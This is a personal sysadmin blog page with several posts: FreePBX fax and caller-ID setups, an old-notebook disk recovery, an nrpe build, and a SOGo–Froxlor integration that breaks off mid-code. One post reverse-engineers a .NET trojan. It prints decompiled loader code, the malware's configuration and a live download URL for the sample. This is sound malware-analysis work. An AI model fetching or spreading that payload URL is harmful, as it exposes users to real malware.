FreePBX with Hylafax and Avantfax on Debian Jessie

By dose | April 5, 2018
Under: Uncategorized
Comments: 3 Comments »

I recently had to install a fax2mail and pcfax solution for outbound faxes using a FreePBX. Thee most convenient way to do this is using Hylafax, as it has some decent clients for sending faxes like the Winprint HylaFAX Reloaded Windows printer driver.
For managing and searching inbound faxes, Avantfax is a nice solution that not only covers sending Fax2mail (that could also be done with FreePBX directly with just a few settings), but also has a fax archive which can be made searchable using OCR.

So here is how I did it:
1) Install iaxmodem

apt-get install iaxmodem hylafax-server
vi /etc/iaxmodem/ttyIAX0

device /dev/ttyIAX0
owner uucp:uucp
mode 660
port 4570
refresh 60
server 127.0.0.1
peername 71
secret 111password
codec ulaw
cidname Fax
cidnumber 4311234567
nojitterbuffer

2) Create extension in FreePBX:
Here we assume extension number 71
Applications / Extensions / Add New IAX2 Extension


secret 111password
notransfer yes
context from-internal
host dynamic
type friend
port 4570
qualify yes
disallow all
allow alaw
deny 0.0.0.0/0.0.0.0
permit 0.0.0.0/0.0.0.0
requirecalltoken no

3) Setup hylafax with iaxmodem

chown uucp:uucp /etc/iaxmodem/ttyIAX0
/etc/init.d/iaxmodem start
faxsetup

Do you want to run faxaddmodem to configure a modem [yes]?
Serial port that modem is connected to [ttyS0]? ttyIAX0

Country code [1]? 43
Area code [415]? 1
Phone number of fax modem [+1.999.555.1212]? +43.1.1234567
Local identification string (for TSI/CIG) ["NothingSetup"]?
Long distance dialing prefix [1]? 0
International dialing prefix [011]? 00
Dial string rules file (relative to /var/spool/hylafax) [etc/dialrules]?
Tracing during normal server operation [1]?
Tracing during send and receive sessions [11]?
Protection mode for received facsimile [0600]?
Protection mode for session logs [0600]?
Protection mode for ttyS0 [0600]?
Rings to wait before answering [1]?
Modem speaker volume [off]?
Command line arguments to getty program ["-h %l dx_%s"]?
Pathname of TSI access control list file (relative to /var/spool/hylafax) [""]?
Pathname of Caller-ID access control list file (relative to /var/spool/hylafax) [""]?
Tag line font file (relative to /var/spool/hylafax) [etc/lutRS18.pcf]?
Tag line format string ["From %%l|%c|Page %%P of %%T"]?
Time before purging a stale UUCP lock file (secs) [30]?
Hold UUCP lockfile during inbound data calls [Yes]?
Hold UUCP lockfile during inbound voice calls [Yes]?
Percent good lines to accept during copy quality checking [95]?
Max consecutive bad lines to accept during copy quality checking [5]?
Max number of pages to accept in a received facsimile [25]?
Syslog facility name for ServerTracing messages [daemon]?
Set UID to 0 to manipulate CLOCAL [""]?
Use available priority job scheduling mechanism [""]?

The non-default server configuration parameters are:

CountryCode:            43
AreaCode:               1
FAXNumber:              +43.1.1234567
LongDistancePrefix:     0
InternationalPrefix:    00
DialStringRules:        etc/dialrules
SessionTracing:         11
RingsBeforeAnswer:      1
SpeakerVolume:          off
GettyArgs:              "-h %l dx_%s"
LocalIdentifier:        "NothingSetup"
TagLineFont:            etc/lutRS18.pcf
TagLineFormat:          "From %%l|%c|Page %%P of %%T"
MaxRecvPages:           25

Are these ok [yes]?

Now we are going to probe the tty port to figure out the type
of modem that is attached.  This takes a few seconds, so be patient.
Note that if you do not have the modem cabled to the port, or the
modem is turned off, this may hang (just go and cable up the modem
or turn it on, or whatever).

Probing for best speed to talk to modem: 38400 OK.

About fax classes:

The difference between fax classes has to do with how HylaFAX interacts
with the modem and the fax protocol features that are used when sending
or receiving faxes.  One class isn't inherently better than another;
however, one probably will suit a user's needs better than others.

Class 1 relies on HylaFAX to perform the bulk of the fax protocol.
Class 2 relies on the modem to perform the bulk of the fax protocol.
Class 2.0 is similar to Class 2 but may include more features.
Class 1.0 is similar to Class 1 but may add V.34-fax capability.
Class 2.1 is similar to Class 2.0 but adds V.34-fax capability.

HylaFAX generally will have more features when using Class 1/1.0 than
when using most modems' Class 2 or Class 2.0 implementations.  Generally
any problems encountered in Class 1/1.0 can be resolved by modifications
to HylaFAX, but usually any problems encountered in Class 2/2.0/2.1 will
require the modem manufacturer to resolve it.

Use Class 1 unless you have a good reason not to.

This modem looks to have support for Class 1.0 and 1.
How should it be configured [1.0]?

Hmm, this looks like a Class 1.0 modem.
Product code (ATI0) is "spandsp".
Other information (ATI3) is "www.soft-switch.org".
DTE-DCE flow control scheme [default]?
Modem manufacturer is "Unknown".
Modem model is "Unknown".

Using prototype configuration file class1.0...

There is no prototype configuration file for your modem, so we will
have to fill in the appropriate parameters by hand.  You will need the
manual for how to program your modem to do this task.  In case you are
uncertain of the meaning of a configuration parameter you should
consult the config(5) manual page for an explanation.

Note that modem commands must be specified exactly as they are to be
sent to the modem.  Note also that quote marks (") will not be displayed
and will automatically be deleted.  You can use this facility to supply
null parameters as "".

Finally, beware that the set of parameters is long.  If you prefer to
use your favorite editor instead of this script you should fill things
in here as best you can and then edit the configuration file

"/var/spool/hylafax/etc/config.ttyIAX0"

after completing this procedure.

Command to enter Class 1 [AT+FCLASS=1.0]?
Command to stop and wait prior to sending PPM [AT+FTS=7]?
Command to stop and wait prior to sending TCF [AT+FTS=7]?
Command to stop and wait prior to sending EOP [AT+FTS=9]?
Extra bytes in a received HDLC frame [4]?
Maximum time to wait for OK after aborting a receive (ms) [200]?
Maximum wait for initial identification frame (ms) [40000]?
Command to ensure silence after receiving HDLC and before sending [AT+FRS=7]?

The modem configuration parameters are:

Class1Cmd:              AT+FCLASS=1.0
Class1PPMWaitCmd:       AT+FTS=7
Class1TCFWaitCmd:       AT+FTS=7
Class1EOPWaitCmd:       AT+FTS=9
Class1FrameOverhead:    4
Class1RecvAbortOK:      200
Class1RecvIdentTimer:   40000
Class1SwitchingCmd:     AT+FRS=7
Class1TCFMaxNonZero:    10
Class1TCFMinRun:        1000

Are these ok [yes]?

Creating new configuration file /var/spool/hylafax/etc/config.ttyIAX0...
Creating fifo /var/spool/hylafax/FIFO.ttyIAX0 for faxgetty... done.
Done setting up the modem configuration.

Checking /var/spool/hylafax/etc/config for consistency...
...everything looks ok; leaving existing file unchanged.

Don't forget to restart hylafax in order to run faxgetty on this new modem
line.
/var/spool/hylafax/config
Do you want to run faxaddmodem to configure another modem [yes]? no

You do not appear to be using faxgetty to notify the HylaFAX scheduler
about new modems and/or their status.  This means that you must use the
faxmodem program to inform the new faxq process about the modems you
want to have scheduled by HylaFAX.  Beware that if you have modems that
require non-default capabilities specified to faxmodem then you should
read faxmodem(8) manual page and do this work yourself (since this
script is not intelligent enough to automatically figure out the modem
capabilities and supply the appropriate arguments).

Should I run faxmodem for each configured modem [yes]?
/usr/sbin/faxmodem ttyIAX0

Done verifying system setup.
/var/spool/hylafax

4) Setup avantfax

cd /usr/src
wget http://downloads.sourceforge.net/project/avantfax/avantfax-3.3.5.tgz
tar -xzvf avantfax-3.3.5.tgz
rm avantfax-3.3.5.tgz
cd avantfax-3.3.5/
vi debian-prefs.txt

ROOTMYSQLPWD=[your DB root pw]
HTTPDUSER=asterisk
HTTPDGROUP=asterisk

Here I set user of HTTPD to asterisk, as running FreePBX with a user other than asterisk usually is causing troubles. Of course, this needs to be adapted to your host enironment

./debian-install.sh
mv /etc/apache2/sites-enabled/000-default /etc/apache2/sites-available/002-avatfax.conf
vi /etc/apache2/sites-available/002-avatfax.conf

<VirtualHost *:80>
    DocumentRoot /var/www/avantfax
    ServerName my.faxdomain.com
    ErrorLog ${APACHE_LOG_DIR}/avantfax-error_log
    CustomLog ${APACHE_LOG_DIR}/avantfax-access_log common
    <Directory "/var/www/avantfax">
      AllowOverride All
    <Directory>
</VirtualHost>

a2ensite 002-avatfax
service apache2 reload
 
faxadduser -p changepasswd fax

5) Enable and install tesseract OCR for avantfax

apt-get install tesseract-ocr tesseract-ocr-deu tesseract-ocr-deu-frak tesseract-ocr-eng tesseract-ocr-fra
vi /var/www/avantfax/includes/local_config.php

define('ENABLE_OCR_SUPPORT', true);

6) Configure Avantfax
Admin menu -> Configure Modems -> ttypIAX0 -> Contact:
Write e-mail address where incoming mails need to be forwarded to

With these simple steps, I was able to get FreePBX running with Hylafax and Avantfax web interfae.

CIDLookup in FreePbx on SOGO

By dose | March 17, 2018
Under: Uncategorized
Comments: No Comments »

As SOGo is a very nice collaboration suite for the office, like I already showed in one of my earlier blog entries, why not also usa a free phone box like the Asterisk-based FreePBX project?
For good interaction with your SOGo-Installation, you can try to make your PBX lookup the incoming phone numbers in the SOGo address book. This article shows you how to do this.

First off, you need to install the CIDLookup FreePBX plugin into it.

Next, look up the MySQL-tables of SOGo that contain the address data of interest. As you may have multiple users, you may want to search in all address books or just specific address books, you need to configure this in a first step to have base data available. We do this my creating a MySQL view in the database that can easily be modified lateron according to your needs.

So logon to your sogo database and check the tables in there:
mysql -u sogo -p sogo
show tables;

You may notice the tables named in the style: sogo[username][uid]_quick
Some of these tables are for calendar data, but others are for address book data. Just select them to check if they are address book data tables, which exhibit a column called c_telephonenumber.
After you have collected all the tables with interesting address data in it, create the view `abooks` that join all of these into one, for example:

CREATE VIEW abooks AS SELECT * FROM sogouname0012c6fb387_quick UNION SELECT * FROM sogooffice0020231de93_quick;

Now we need to sanitize the phne numbers in there by removing unneccessary chracters from it and put them in the new view `phonenos`

CREATE VIEW phonenos AS SELECT REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(CONVERT(`c_telephonenumber` USING ascii),' ',''),'(',''),')',''),'-',''),'?','') phone, c_cn FROM abooks WHERE `c_telephonenumber`<>'';

Now that we sanitized it a bit, we finally need to make the numbers available in the correct format used by the PBX. In my example, the phone numer is always in international format without leading + character. This is then put in view `phoneno_f`. The reason why we don’t combine it with phonenos view in one query is that Views in MySQL don’t support subselects.

CREATE OR REPLACE VIEW phoneno_f AS SELECT CASE WHEN LEFT(phone,1)='+' THEN SUBSTR(phone,2) WHEN LEFT(phone,2)='00' THEN SUBSTR(phone,3) WHEN LEFT(phone,1)='0' THEN CONCAT( '43',SUBSTR(phone,2)) ELSE phone END phone, c_cn FROM phonenos;

Now we have a view containing all names and their respecive phone numbers in a unified format that can then be used to select in the CIDlookup module in FreePBX.
So now go to “Admin/Called ID lookup sources” in FreePBX GUI, Add a CIDLookup Source and set:

Source description: SOGo
Source type: MySQL
Host: localhost
Database: sogo
Query: SELECT c_cn FROM phoneno_f WHERE phone='[NUMBER]’
Username: sogo
Pass: sogopasswd

That’s it!

Advokat als CID-Quelle in FreePBX einbinden

By dose | March 17, 2018
Under: Uncategorized
Comments: 1 Comment »

Die FreePBX Telefonanlage ist eine
Konfigurationoberfläche zur einfachen Konfiguration einer Asterisk-basierenden
Telefonanlage.
Sie beinhaltet auch ein interessantes Modul zur Caller ID Bestimmung, über
welches man verschiedene Methoden zur Reversnummernabfrage verwenden kann.

In Österreich ist das Anwaltskanzleipaket Advokat recht populär. Es wäre also
nicht unpraktisch, gleich den Namen des Mandanten am Display durch die Telefon-
Anlage angezeigt zu bekommen ganz ohne TAPI am Schirm.
Dies ist gar nicht so schwer zu realisieren, sofern die .MDB Datenbank am
Server liegt, wovon wir einmal ausgehen.

Die mdbtools sind hierfür ein nützliches Paket und können über unixodbc
einfach abgefragt werden.
Leider sind die Paketversionen der mdbtools buggy, sodas wir eine
fehlerberenigte Version der Bibliothek manuell installieren müssen:

apt-get install unixodbc php5-odbc libglib2.0-dev txt2man
 
cd /usr/src
wget https://github.com/leecher1337/mdbtools/archive/master.zip
unzip master.zip
rm master.zip
cd mdbtools-master
autoreconf -fi
./configure --with-unixodbc=/usr/lib/odbc
make
make install

Nun die Datenquelle für die Advokat.mdb eintragen (Pfad anpassen):
vi /etc/odbc.ini

[Advokat]
Description = Advokat
Driver = MDBTools
Servername = localhost
Database = /home/data/advokat/Advokat/Daten/ADVOKAT.MDB
UserName =
Password =
port = 5432

Jetzt noch den MDB-Treiber, den wir kompiliert haben mit ODBC registrieren:
vi /etc/odbcinst.ini

[MDBTools]
Description = MDBTools Driver
Driver = /usr/local/lib/libmdbodbc.so

Nun benötigen wir noch ein kleines PHP-Script, welches die Nummern
normalisiert, damit diese mit der eingehenden Nummer auf der Telefonanlage
verglichen werden können.
Die Normalisierung der Nummer muss man sich entsprechend der Anlagenparameter
anpassen, da diese wohl je nach Provider in unterschiedlicher Form kommt.
Das Script z.B. in den root der FreePBX-Installation kopieren oder an einen
Ort, wo es das CIDLookup Script finden kann:

tel.php:

&lt;?php
define('DSN_ADVOKAT', 'Advokat');
 
function GetName($odbc, $NNr)
{
 
    if ($result = odbc_exec($odbc, 'select Titel, Vorname, Name1 from Namen Where NNr='.$NNr))
    {
        if (odbc_fetch_row($result))
        {
            $titel = odbc_result($result,1);
            $ret=($titel?$titel.' ':'').odbc_result($result,2).' '.odbc_result($result,3);
        }
        odbc_free_result($result);
    }
    return $ret;
}
 
$odbc = odbc_connect(DSN_ADVOKAT, '', '');
if ($result = odbc_exec($odbc, "select NNr, Vorwahl, Telefon from Telefon Where Art='Telefon' or Art='Handy'"))
{
    while (odbc_fetch_row($result))
    {
        $tel = trim(odbc_result($result,2).odbc_result($result,3));
        if ($tel[0]=='+') $tel='00'.substr($tel, 1);
        $tel = preg_replace("/[^0-9,.]/", "", $tel);
        if ($tel[0] == '0') $tel='43'.substr($tel,$tel[1]=='0'?2:1);
        if ($tel==$_REQUEST['nr'])
        {
            echo GetName($odbc, odbc_result($result,1));
            break;
        }
    }
    odbc_free_result($result);
}
 
odbc_close($odbc);
 
?&gt;

Danach müssen wir nur noch eine neue Quelle im CIDLookup definieren.
Source type: HTTP
Host: localhost
Port: 80 oder wo immer der Webserver läuft
Path: /tel.php
Query: nr=[NUMBER]

Das sollte es gewesen sein.

league.exe trojan

By dose | February 22, 2018
Under: Uncategorized
Comments: No Comments »

I recently stumbled over an infected setup application from dubious sources in the internet on a victim’s machine that contained a little obfuscated trojan which was interestingly written in .NET language, so it was pretty easy to reverse engineer.
The trojan contantly downloads itself from http://ijwhite.com/white/League.exe so you can download your own sample from there.

The trojan itself is crypted with AES encryption with a static key, which is very easy to unpack with a debugger like dnSpy. The code’s function names are obfuscated, so it doesn’t make much sense to read, but you just need to set a breakpoint before the unpacked .NET executable gets invoked and dump the decrypted memory buffer (in variable array) to disk, which can in turn be analyzed.

object obj = ze6WLzdqTLKVYk8yNb.qbpi2wrp4C09();
ze6WLzdqTLKVYk8yNb.Ssp0paUgqt("Key", obj, tqcF9712cQGgO);
ze6WLzdqTLKVYk8yNb.Ssp0paUgqt("IV", obj, tqcF9712cQGgO2);
object rXmEJKEg1Mp2m = ze6WLzdqTLKVYk8yNb.XYHLcqkA7W(obj);
array = ze6WLzdqTLKVYk8yNb.yGbemlFTZJdQjrX(rXmEJKEg1Mp2m, array);
object 6XaGtsti8u = ze6WLzdqTLKVYk8yNb.dXvj2MauvNk7t();

 Now you get an executable file named stub which in turn can be analyzed with dnSpy.
The executable is “obfuscated” with ConfuserEx v1.0.0.0.
This results in code that is difficult an annoying to read, like:

private static void Main(string[] args)
{
stub.res = stub.\u202D\u200D\u206B\u202C\u202B\u206D\u206E\u202A\u206C\u200E\u200F\u206D\u202B\u206E\u202B\u206A\u206F\u206C\u200B\u202E\u202E\u200D\u206E\u200D\u202E\u202B\u202A\u206D\u206E\u202B\u200C\u200E\u202B\u206F\u202E\u206E\u200D\u206D\u206A\u202E\u202E(<Module>.\u206D\u200B\u206B\u206C\u200D\u200E\u202E\u202E\u202B\u202A\u200D\u202C\u202A\u206A\u206B\u206B\u206A\u202C\u200C\u200F\u206F\u206E\u200E\u206C\u206C\u206B\u206F\u206B\u200F\u206E\u200D\u202E\u206B\u206D\u202C\u202C\u200C\u202D\u200D\u206A\u202E<string>(1666502779u), stub.\u202E\u202D\u200D\u200D\u206D\u206E\u206F\u206A\u202D\u206A\u200F\u202B\u202A\u206B\u200F\u206A\u202C\u206B\u206B\u200C\u206C\u206A\u202E\u200D\u202A\u206B\u200B\u206C\u206C\u206A\u200D\u200B\u206E\u200B\u200E\u202D\u200C\u200C\u206D\u202E\u202E());
for (;;)
{
IL_19:
uint num = 3253124917u;
for (;;)
{
uint num2;
switch ((num2 = (num ^ 2504117526u)) % 3u)
{
case 0u:
goto IL_19;
case 1u:
stub.\u202B\u200E\u206E\u206B\u206C\u202C\u206C\u206C\u200D\u202B\u202B\u200C\u206F\u206F\u206A\u200F\u206D\u200F\u200B\u200C\u206B\u202A\u200F\u206C\u206D\u200E\u206E\u206D\u206D\u200E\u202C\u202E\u206F\u206C\u206A\u200E\u206B\u206F\u206F\u202A\u202E(stub.\u200C\u206C\u206D\u206A\u202C\u200E\u206B\u200E\u202C\u202A\u200F\u202D\u206C\u200E\u200C\u200B\u206B\u202C\u202C\u200B\u200D\u206A\u200D\u200E\u202D\u200D\u202E\u202A\u206D\u206D\u200C\u202B\u200C\u206F\u200D\u206A\u202B\u200E\u206E\u202A\u202E(), new ResolveEventHandler(stub.CurrentDomain_AssemblyResolve));
num = (num2 * 307612828u ^ 2864558313u);
continue;
}
goto Block_1;
}
}
Block_1:
stub.Run(args);
}

Fortunately, there are tools out there for deobfuscating this Confuser stuff. Tools for doing so are linked here.
Afterwards, you get a pretty readable copy of the trojan.

Judging from that, the trojan has multiple settings for injection,propagation, download, etc. Everything seems to be configurable via the resources-Section of the executable.
By looking at this specific trojan, it seems to be pretty dump and just downloads itself all over again and again and again. I suspect that the author may swap out the executable, possiby targeting different victim machines, by providing a copy of the trojan with a different configuration on a case-by-case basis, but this is just speculative.
Here is the resource section of the above mentioned trojan:

// 0x0001BE74: STUB.resources‎ (4868276 Bytes, Embedded, Public)


// 0x0001C75E: AdminRights‎ = False
// 0x0001C760: AntiDump‎ = False
// 0x0001C762: AntiSandboxie‎ = False
// 0x0001C764: AttributeHidden‎ = False
// 0x0001C766: AttributeSystem‎ = False
// 0x0001C768: BinderItems‎ = Object[][]-Array
// 0x00433FF9: CMDArgsFixed‎ = ""
// 0x00433FFB: CMDArgsType‎ = 0
// 0x00434000: CompressionGZIP‎ = False
// 0x00434002: CompressionLZMA‎ = False
// 0x00434004: CreationDateEnabled‎ = False
// 0x00434006: CreationDateValue‎ = 10.08.2016 17:36:12
// 0x0043400F: DisableCMD‎ = False
// 0x00434011: DisableSafeMode‎ = False
// 0x00434013: DisableSystemRestore‎ = False
// 0x00434015: DisableTaskManager‎ = False
// 0x00434017: DownloaderItems‎ = Object[][]-Array: ["http://ijwhite.com/white/League.exe", "CommonApplicationData"]
// 0x00434039: InjectionType‎ = 0
// 0x0043404E: MainFile‎ = 567808 Bytes
// 0x004BEA53: MessageButton‎ = 0
// 0x004BEA58: MessageEnabled‎ = False
// 0x004BEA5A: MessageIcon‎ = 0
// 0x004BEA5F: MessageOnlyOnce‎ = False
// 0x004BEA61: MessageText‎ = "Text"
// 0x004BEA67: MessageTitle‎ = "Title"
// 0x0043403E: MUTEX‎ = "TPfQHumqPQ5RUn"
// 0x004BEA6E: PersistenceStartup‎ = False
// 0x004BEA70: PersistenceSystemWide‎ = False
// 0x004BEA72: PersistenceWatchingProcess‎ = False
// 0x004BEA74: ProcessKiller‎ = String[]-Array
// 0x004BEA90: ProtectionAntiMemory‎ = False
// 0x004BEA92: ProtectionBSOD‎ = False
// 0x004BEA94: ProtectionDisableUAC‎ = False
// 0x004BEA96: ProtectionElevatedProcess‎ = False
// 0x004BEA98: RunPEDll‎ = 5658 Bytes
// 0x004C00B7: StartupAdvanced‎ = False
// 0x004C00B9: StartupEnabled‎ = False
// 0x004C00BB: StartupFileName‎ = "filename.exe"
// 0x004C00C9: StartupFolderName‎ = ""
// 0x004C00CB: StartupForceRestart‎ = False
// 0x004C00CD: StartupLocation‎ = "Desktop"
// 0x004C00D6: StartupMelt‎ = False
// 0x004C00D8: StartupName‎ = "Update"
// 0x004C00E0: StartupTask‎ = "...code for task XML file, removed for readbility..."
// 0x004C0724: ZoneIDDelete‎ = True
// 0x004C0726: ZoneIDEnabled‎ = False

If someone knows more about this trojan, please let me know.

Finding CHS-Values for HDD of an old 486-DX2/50 Highscreen notebook

By dose | December 23, 2017
Under: Uncategorized
Comments: 1 Comment »

Last week, I received a call for help from someone who inherited an old Highscreen 486-DX2/50 notebook from her father that contained some important documents that she wanted to recover.
Now as the Notebook hadn’t been in operation for approx. 10 years, CMOS battery was empty and the Notebook refused to boot DOS, as the CHS-Values for the Harddisk in BIOS got lost.
Now as there was no manual available anymore, I just unscrewed the 2 screws in the back of the Notebook, lifted the Keyboard and had a look at the harddisk.
So I discovered that it contained a Connor Peripherals CP30174E harddisk with approx. 160MB in size.
Now I thought that this is going to be easy, found a manual on the Internet that showed me the correct CHS values:

903 Cylinders
8 Heads
46 Sectors
0 Precomp
903 Landing zone

So I entered the information in BIOS, attempted to boot and…. Nothing, the Boot loader code in the MBR still showed me that the OS cannot be found.
Therefore I booted up with a floppy disk and was able to access the internal drive. But of course, I wanted to find out the right settings in the BIOS to let the Notebook boot again.
So I started up Norton Disk Editor:
Object -> Drive -> [x] Physical -> Hard drive 0
ALT+A (Object -> Partition table), F6 (View / As partition table)
There I was able to see the following table:

  Starting Location Ending Location Relative Number of
System Boot Side Cylinder Sector Side Cylinder Sector Sectors Sectors
BIGDOS Yes 1 0 1 5 1004 55 55 331595

Conclusion #1: Cylinder count must be >= 1004
Conclusion #2: Sectors may be 55
Conclusion #3: It has at least 5 Heads

Next, checking the Boot sector:
Object -> Drive -> [x] Logical -> C:
ALT + B (Object -> Boot Record)

There is showed:
Sides: 6
Sectors per track: 55

So we know that we have 6 Heads and 55 Sectors and >= 1004 Cylinders
Now judging from the CHS values of the Harddisk vendor, we know that the drive has a capacity of 162.257 MB
Therefore we can approximate the value of the Cylinders to closely match that value and find out that it has to be approx. 1007 Cylinders.
Therefore, I ended up with these values:

1007 Cylinders
6 Heads
55 Sectors
0 Precomp
1007 Landing zone

Entered them in the BIOS and it booted up fine.

Puls 4 Mediathek mit Firefox auf Windows XP nutzen

By dose | December 3, 2017
Under: Uncategorized
Comments: 1 Comment »

Die letzten Monate über hatte ich mich sehr geärgert, dass ich die Videos vom Privatsender Puls4 auf meinem Windows XP mit Mozilla Firefox nicht mehr abspielen konnte.
Nun habe ich herausgefunden, dass es an einer H.264 Codec Inkompatibilität von Mozilla Firefox liegt. Glücklicherweise hat der xp bouncer eine Lösung dafür gefunden:
http://wp.xin.at/archives/4059
Herzlichen Dank auf diesem Wege, funktioniert einwandfrei!

Installing nrpe (Nagios remote mon) on entware-ng

By dose | November 24, 2017
Under: Uncategorized
Comments: No Comments »

Recently I got a synology DS216+II NAS where I had to install rsnapshot for daily backups.
This works quite nicely using entware-ng, but of course, backup status should also be monitored, i.e. by remove check done by nagios.
Unfortunately there is no nrpe-Package available, so you have to compile it on your own.
When fetching Headers with wget include.tar.gz, ensure to specify the correct architecture for your NAS in download URL.

opkg install libwrap gcc make nagios-plugins
cd /tmp
wget -qO- http://pkg.entware.net/binaries/x86-64/include/include.tar.gz | tar xvz -C /opt/include
wget https://github.com/NagiosEnterprises/nrpe/archive/nrpe-2-15.tar.gz
tar -xzvf nrpe-2-15.tar.gz
cd nrpe-nrpe-2-15
./configure --enable-command-args --prefix=/opt --with-ssl-inc=/opt/include/openssl/ --with-ssl=/bin/
make
echo "nagios:x:5666:5666::/opt:/sbin/nologin">>/etc/passwd
echo "nagios:x:5666:">>/etc/group
make install-daemon
make install-daemon-config
vi /opt/etc/init.d/S00nrpe
#!/bin/sh
 
start() {
    /opt/bin/nrpe -c /opt/etc/nrpe.cfg -d
}
 
stop() {
    killall nrpe
}
 
case "$1" in
    start)
        start
        ;;
    stop)
        stop
        ;;
    restart)
        stop
        start
    ;;
    *)
    echo "Usage: $0 {start|stop}"
    ;;
esac
chmod +x /opt/etc/init.d/S00nrpe
vi /opt/etc/nrpe.cfg

Have fun.

Integrating SOGo with Froxlor

By dose | November 21, 2017
Under: Uncategorized
Comments: 1 Comment »

I recently wanted to equip a Server that was managed with the Froxlor (formally known as SysCP) Management system with SOGo Groupware features.
Linking the e-mail accounts with SOGo isn’t very hard provided that you let Froxlor save the e-mail passwords in plain text.
In case you don’t want to do this and enhance security (which I would strongly encourage you to do), please also make the modifications to Froxlor shown in this blog additionally to the instructions provided here.
The installation on Debian is already known from my former SOGo installation tutorial.

1) Install SOGo 2

echo deb http://packages.inverse.ca/SOGo/nightly/2/debian/ jessie jessie >>/etc/apt/sources.list
apt-key adv --keyserver keys.gnupg.net --recv-key 0x810273C4
apt-get update
apt-get install sogo mysql-server sope4.9-gdl1-mysql memcached

2) Fix some packages

sed -i "s/SHOWWARNING=true/SWOWWARNING=false/" /etc/tmpreaper.conf # suppress tmpreaper warnings
sed -i "s/127.0.0.1/localhost/" /etc/memcached.conf # Fix IPv6 errors
/etc/init.d/mysql restart
/etc/init.d/memcached restart

3) Install MySQL and create user table

Now this step differs slightly from my previous tutorial, as you have to link the sogo-Database with Froxlor:

mysql -u root -p mysql
    CREATE DATABASE `sogo` CHARACTER SET='utf8';
    CREATE USER 'sogo'@'localhost' IDENTIFIED BY 'sogopasswd';
    GRANT ALL PRIVILEGES ON `sogo`.* TO 'sogo'@'localhost' WITH GRANT OPTION;
    GRANT ALL PRIVILEGES ON `froxlor`.* TO 'sogo'@'localhost' WITH GRANT OPTION;
    FLUSH PRIVILEGES;
    quit

4) Create a sogo.conf configuration file

Now in this tutorial for some variation, I assume that you were using Courier IMAPd and migrated from it, even though Dovecot is current standard for Forxlor.
It is very important that you don’t forget to place the

/***DOMAINS***/

marker in the file, as the config file will be used as a template for the automatic configuration by Froxlor:

/etc/sogo/sogo.conf
{
  /* Database configuration (mysql:// or postgresql://) */
  SOGoProfileURL = "mysql://sogo:sogopasswd@localhost:3306/sogo/sogo_user_profile";
  OCSFolderInfoURL = "mysql://sogo:sogopasswd@localhost:3306/sogo/sogo_folder_info";
  OCSSessionsFolderURL = "mysql://sogo:sogopasswd@localhost:3306/sogo/sogo_sessions_folder";

  /* Mail */
  /* The INBOX/-Prefixed lines are just an example to use if you are 
     converting from Courier IMPD, otherwise don't use them */
  SOGoDraftsFolderName = INBOX/Drafts;
  SOGoSentFolderName = INBOX/Sent;
  SOGoTrashFolderName = INBOX/Trash;
  SOGoIMAPServer = localhost;
  SOGoSMTPServer = 127.0.0.1;
  SOGoMailDomain = my.maildomain.com;
  SOGoMailingMechanism = smtp;

/***DOMAINS***/

  SOGoVacationEnabled = YES;
  SOGoSieveScriptsEnabled = YES;
  SOGoMailAuxiliaryUserAccountsEnabled = YES;

  /* General - SOGoTimeZone *MUST* be defined */
  SOGoLanguage = German;
  SOGoTimeZone = Europe/Vienna;

  SOGoSuperUsernames = (user@my.maildomain.com);

  /* Activesync */
  SOGoMaximumPingInterval = 300;
  WOWorkersCount = 15;
  SOGoMaximumSyncWindowSize = 100;
  SOGoMaximumSyncResponseSize = 5172;
}

Fill SOGoMaiDomain with the DNS of your local mailserver and define the superuser-account, which you should create in froxlor as mail-address to a certain domain (pick one of your Froxlor-Mailaccounts).

Now that you have set up a proper SOGo configuration, copy the file as the new template file to use for Froxlor:

cp /etc/sogo/sogo.conf /etc/sogo/sogo.conf.tpl

From now on, only edit sogo.conf.tpl if you want to change sogo config, as sogo.conf will get overwritten after Froxlor change

4b) Only needed when migrating from Courier to Dovecot

If you had Courier IMAPd installed on your site, like I unfortunately had, it is recommednded to migrate to Dovecot in order to be able to use the Exchange Activesync components.
In order to do this, more or less follow the Dovecot-Installation instructions in Froxlor control panel under configuration (for both SMTP and IMAP). Then don’t forget to convert your mailboxes with the courier-dovecot-migrate.pl scriptin the subdirectories of /var/customers/mails . As you are coming from Courier, don’t forget to set the nasty INBOX. prefix that Courier IMAPd users were used to in order to do a smooth transition:

/etc/dovecot/conf.d/10-mail.conf
mail_access_groups = vmail
mail_privileged_group = vmail
mail_uid = 2000
mail_gid = 2000
 
# Required only for courier migration
namespace inbox {
  prefix = INBOX.
  separator = .
  inbox = yes
}

5) Integrate sync mechanism between Froxlor and SOGo

Now we need to setup beforementioned sync mechanism. Create the following PHP-file:

/var/www/froxlor/scripts/jobs/cron_tasks.inc.sogo.php
<?php
/*********************************
 * Sync Forxlor Domains to SoGo  *
 *********************************/
function sync_to_sogo()
{
    // Config
    $sogousr='sogo';
    $sogopasswd='sogopasswd';
 
    $bRet = false;
    if (!($conn=mysql_connect('localhost', $sogousr, $sogopasswd)))
    {
        echo 'Error connecting to SOGO database: '.mysql_error();
        return false;
    }
    if (!mysql_select_db('sogo', $conn))
    {
        echo 'Cannot select DB sogo: '.mysql_error();
        mysql_close($conn);
        return false;
    }
 
    $restart_cmd='/etc/init.d/sogo restart';
    $tplfil='/etc/sogo/sogo.conf.tpl';
    $tmpfil='/tmp/sogo.conf';
    $cnffil='/etc/sogo/sogo.conf';
 
    if ($fpsog=fopen($tplfil, 'r'))
    {
        if ($fp=fopen($tmpfil, 'w'))
        {
            while ($line=fgets($fpsog))
            {
                if (trim($line)=='/***DOMAINS***/') break;
                fwrite($fp, $line);
            }
            if ($line)
            {
                $q=mysql_query('SELECT froxlor.panel_domains.domain FROM froxlor.panel_domains WHERE isemaildomain=1', $conn);
                fprintf($fp, "domains = {\n");
                while ($r=mysql_fetch_row($q))
                {
                    $domainkey = preg_replace("/[^A-Za-z0-9]/", '_', $r[0]);
                    if (mysql_query("CREATE OR REPLACE VIEW auth_$domainkey AS
                       SELECT froxlor.mail_users.email AS c_uid,
                       froxlor.mail_users.email AS c_name,
                       froxlor.mail_users.password AS c_password,
                       froxlor.mail_users.email AS c_cn,
                       froxlor.mail_users.email AS mail
                       FROM froxlor.panel_domains, froxlor.mail_users
                       WHERE froxlor.mail_users.domainid=froxlor.panel_domains.id
                       AND froxlor.panel_domains.domain = '".$r[0]."'", $conn))
                    {
                        fprintf($fp, "
%s = {
          SOGoMailDomain = %s;
          SOGoUserSources = (
               {
                 type = sql;
                 id = %s;
                 viewURL = \"mysql://%s:%s@localhost:3306/sogo/auth_%s\";
